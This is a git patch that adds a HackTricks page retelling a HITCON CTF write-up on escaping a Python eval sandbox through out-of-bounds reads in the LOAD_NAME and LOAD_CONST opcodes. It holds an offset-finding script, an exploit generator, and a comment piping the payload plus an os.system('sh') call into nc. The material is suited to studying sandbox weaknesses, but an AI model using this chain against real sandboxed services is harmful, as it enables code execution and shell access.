From 7d78e0e667d61aa241bb6991292312a694f9edb7 Mon Sep 17 00:00:00 2001 From: CPol Date: Thu, 12 Jan 2023 20:51:54 +0000 Subject: [PATCH] GitBook: [#3747] No subject --- SUMMARY.md | 1 + .../load_name-load_const-opcode-oob-read.md | 257 ++++++++++++++++++ 2 files changed, 258 insertions(+) create mode 100644 generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md diff --git a/SUMMARY.md b/SUMMARY.md index cd903ad2c..4c33003be 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -67,6 +67,7 @@ * [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) * [venv](generic-methodologies-and-resources/python/venv.md) * [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) + * [LOAD\_NAME / LOAD\_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load\_name-load\_const-opcode-oob-read.md) * [Output Searching Python internals](generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md) * [Web Requests](generic-methodologies-and-resources/python/web-requests.md) * [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md) diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md new file mode 100644 index 000000000..8685066df --- /dev/null +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -0,0 +1,257 @@ +# LOAD\_NAME / LOAD\_CONST opcode OOB Read + +
+ +🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +**This info was taken** [**from this writeup**](https://blog.splitline.tw/hitcon-ctf-2022/)**.** + +### TL;DR + +We can use OOB read feature in LOAD\_NAME / LOAD\_CONST opcode to get some symbol in the memory. Which means using trick like `(a, b, c, ... hundreds of symbol ..., __getattribute__) if [] else [].__getattribute__(...)` to get a symbol (such as function name) you want. + +Then just craft your exploit. + +### Overview + +The source code is pretty short, only contains 4 lines! + +```python +source = input('>>> ') +if len(source) > 13337: exit(print(f"{'L':O<13337}NG")) +code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=()) +print(eval(code, {'__builtins__': {}}))1234 +``` + +You can input arbitrary Python code, and it'll be compiled to a [Python code object](https://docs.python.org/3/c-api/code.html). However `co_consts` and `co_names` of that code object will be replaced with an empty tuple before eval that code object. + +So in this way, all the expression contains consts (e.g. numbers, strings etc.) or names (e.g. variables, functions) might cause segmentation fault in the end. + +### Out of Bound Read + +How does the segfault happen? + +Let's start with a simple example, `[a, b, c]` could compile into the following bytecode. + +``` + 1 0 LOAD_NAME 0 (a) + 2 LOAD_NAME 1 (b) + 4 LOAD_NAME 2 (c) + 6 BUILD_LIST 3 + 8 RETURN_VALUE12345 +``` + +But what if the `co_names` become empty tuple? The `LOAD_NAME 2` opcode is still executed, and try to read value from that memory address it originally should be. Yes, this is an out-of-bound read "feature". + +The core concept for the solution is simple. Some opcodes in CPython for example `LOAD_NAME` and `LOAD_CONST` are vulnerable (?) to OOB read. + +They retrieve an object from index `oparg` from the `consts` or `names` tuple (that's what `co_consts` and `co_names` named under the hood). We can refer to the following short snippest about `LOAD_CONST` to see what CPython does when it proccesses to `LOAD_CONST` opcode. + +```c +case TARGET(LOAD_CONST): { + PREDICTED(LOAD_CONST); + PyObject *value = GETITEM(consts, oparg); + Py_INCREF(value); + PUSH(value); + FAST_DISPATCH(); +}1234567 +``` + +In this way we can use the OOB feature to get a "name" from arbitrary memory offset. To make sure what name it has and what's it's offset, just keep trying `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... And you could find something in about oparg > 700. You can also try to use gdb to take a look at the memory layout of course, but I don't think it would be more easier? + +### Generating the Exploit + +Once we retrieve those useful offsets for names / consts, how _do_ we get a name / const from that offset and use it? Here is a trick for you:\ +Let's assume we can get a `__getattribute__` name from offset 5 (`LOAD_NAME 5`) with `co_names=()`, then just do the following stuff: + +```python +[a,b,c,d,e,__getattribute__] if [] else [ + [].__getattribute__ + # you can get the __getattribute__ method of list object now! +]1234 +``` + +> Notice that it is not necessary to name it as `__getattribute__`, you can name it as something shorter or more weird + +You can understand the reason behind by just viewing it's bytecode: + +```python + 0 BUILD_LIST 0 + 2 POP_JUMP_IF_FALSE 20 + >> 4 LOAD_NAME 0 (a) + >> 6 LOAD_NAME 1 (b) + >> 8 LOAD_NAME 2 (c) + >> 10 LOAD_NAME 3 (d) + >> 12 LOAD_NAME 4 (e) + >> 14 LOAD_NAME 5 (__getattribute__) + 16 BUILD_LIST 6 + 18 RETURN_VALUE + 20 BUILD_LIST 0 + >> 22 LOAD_ATTR 5 (__getattribute__) + 24 BUILD_LIST 1 + 26 RETURN_VALUE1234567891011121314 +``` + +Notice that `LOAD_ATTR` also retrieve the name from `co_names`. Python loads names from the same offset if the name is the same, so the second `__getattribute__` is still loaded from offset=5. Using this feature we can use arbitrary name once the name is in the memory nearby. + +For generating numbers should be trivial: + +* 0: not \[\[]] +* 1: not \[] +* 2: (not \[]) + (not \[]) +* ... + +### Exploit Script + +I didn't use consts due to the length limit. + +First here is a script for us to find those offsets of names. + +```python +from types import CodeType +from opcode import opmap +from sys import argv + + +class MockBuiltins(dict): + def __getitem__(self, k): + if type(k) == str: + return k + + +if __name__ == '__main__': + n = int(argv[1]) + + code = [ + *([opmap['EXTENDED_ARG'], n // 256] + if n // 256 != 0 else []), + opmap['LOAD_NAME'], n % 256, + opmap['RETURN_VALUE'], 0 + ] + + c = CodeType( + 0, 0, 0, 0, 0, 0, + bytes(code), + (), (), (), '', '', 0, b'', () + ) + + ret = eval(c, {'__builtins__': MockBuiltins()}) + if ret: + print(f'{n}: {ret}') + +# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132 +``` + +And the following is for generating the real Python exploit. + +```python +import sys +import unicodedata + + +class Generator: + # get numner + def __call__(self, num): + if num == 0: + return '(not[[]])' + return '(' + ('(not[])+' * num)[:-1] + ')' + + # get string + def __getattribute__(self, name): + try: + offset = None.__dir__().index(name) + return f'keys[{self(offset)}]' + except ValueError: + offset = None.__class__.__dir__(None.__class__).index(name) + return f'keys2[{self(offset)}]' + + +_ = Generator() + +names = [] +chr_code = 0 +for x in range(4700): + while True: + chr_code += 1 + char = unicodedata.normalize('NFKC', chr(chr_code)) + if char.isidentifier() and char not in names: + names.append(char) + break + +offsets = { + "__delitem__": 2800, + "__getattribute__": 2850, + '__dir__': 4693, + '__repr__': 2128, +} + +variables = ('keys', 'keys2', 'None_', 'NoneType', + 'm_repr', 'globals', 'builtins',) + +for name, offset in offsets.items(): + names[offset] = name + +for i, var in enumerate(variables): + assert var not in offsets + names[792 + i] = var + + +source = f'''[ +({",".join(names)}) if [] else [], +None_ := [[]].__delitem__({_(0)}), +keys := None_.__dir__(), +NoneType := None_.__getattribute__({_.__class__}), +keys2 := NoneType.__dir__(NoneType), +get := NoneType.__getattribute__, +m_repr := get( + get(get([],{_.__class__}),{_.__base__}), + {_.__subclasses__} +)()[-{_(2)}].__repr__, +globals := get(m_repr, m_repr.__dir__()[{_(6)}]), +builtins := globals[[*globals][{_(7)}]], +builtins[[*builtins][{_(19)}]]( + builtins[[*builtins][{_(28)}]](), builtins +) +]'''.strip().replace('\n', '').replace(' ', '') + +print(f"{len(source) = }", file=sys.stderr) +print(source) + +# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port +12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273 +``` + +It basically does the following things, for those strings we get it from the `__dir__` method: + +```python +getattr = (None).__getattribute__('__class__').__getattribute__ +builtins = getattr( + getattr( + getattr( + [].__getattribute__('__class__'), + '__base__'), + '__subclasses__' + )()[-2], +'__repr__').__getattribute__('__globals__')['builtins'] +builtins['eval'](builtins['input']()) +``` + +
+ +🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +